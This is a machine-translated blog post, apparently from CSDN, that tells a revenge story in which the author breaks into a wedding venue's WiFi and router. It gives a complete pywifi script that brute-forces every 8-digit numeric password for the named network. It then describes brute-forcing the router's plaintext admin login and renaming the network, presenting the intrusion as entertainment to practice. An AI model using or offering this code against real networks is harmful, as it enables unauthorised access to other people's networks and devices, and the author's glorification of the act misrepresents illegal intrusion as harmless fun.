Hi everyone, I’m Lex who likes to bully Superman.
Areas of expertise: python development, network security penetration, Windows domain control Exchange architecture
Today’s focus: ① python violently won the WiFi password; ② python won the router management page
The code is full of dry goods, it is recommended to collect + practice! ! ! If you have any questions or needs, please leave a message~~
The story last time is like this
Things are like this
Brother still came to the wedding scene
Sit down at a table with a back to the corner
The ears are filled with inaudible noises of happiness
The twinkling lights stung eyes that were a little red from insomnia last night
An inexplicable feeling rushes straight up
Silently, took out the notebook python development tools
The name of the on-site WiFi is : "First Hall of Wedding"
Python cracking WiFi password
1. Install pywifi and comtypes modules
pip install pywifi
pip install comtypes
PS C:\Users\pacer> pip install pywifi Collecting pywifi Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)Installing collected packages: pywifiSuccessfully installed pywifi-1.1.12 PS C:\Users\pacer> pip install comtypes Collecting comtypes Downloading comtypes-1.1.10.tar.gz (145 kB) |████████████████████████████████| 145 kB 12 kB/sUsing legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.Installing collected packages: comtypes Running setup.py install for comtypes ... doneSuccessfully installed comtypes-1.1.10PS C:\Users\pacer>
2. Generate 8-digit password
Assuming that the WiFi password is 8 digits pure numbers
for i in range(100000000): #生成8位数密码 pwd=str(i).zfill(8) print(pwd)
3. Complete code
Use the pywifi module to configure the wifi name and password to try.
import timeimport pywififrom pywifi import const for i in range(100000000): #生成8位数密码 pwd=str(i).zfill(8) print(pwd) profile = pywifi.Profile() profile.ssid ='婚礼第一大厅' #wifi名称 profile.auth = const.AUTH_ALG_OPEN #验证方式 profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式 profile.cipher = const.CIPHER_TYPE_CCMP #加密类型 profile.key=pwd wifi = pywifi.PyWiFi() iface = wifi.interfaces() wedding = iface.add_network_profile(profile) #尝试连接 iface.connect(wedding) time.sleep(3) if iface.status() == const.IFACE_CONNECTED: print('连接成功') break else: print('密码不对，连接失败，好气哦~~')
After a while, the connection is successful.
After getting the wifi password
Take down the router
1. Router management address
The login address of the router management page is generally 192.168.0.1 or 192.168.1.1 to access the router link address.
2. Router login submission analysis
Through the page submission password test, it was found that the password was submitted in plain text to the server for verification.
As shown below
3. Circular submission of requests
The router login password is cyclically submitted, and the router login password is cyclically submitted through the tool post.
Log in successfully, take down the router
Modify the name of the WIFI
Log in to the router interface and modify the WIFI name of the "First Wedding Hall"
End of story
Everything is over, stand up and take a last look
Under the lights that complement each other
In the big picture, the face with a smile holding flowers in his hand
The WiFi name is changed, goodbye~
CSDN official learning recommendation ↓ ↓ ↓
The Python full-stack knowledge graph produced by CSDN is too strong, and I recommend it to everyone!
Python actual combat
pygame series articles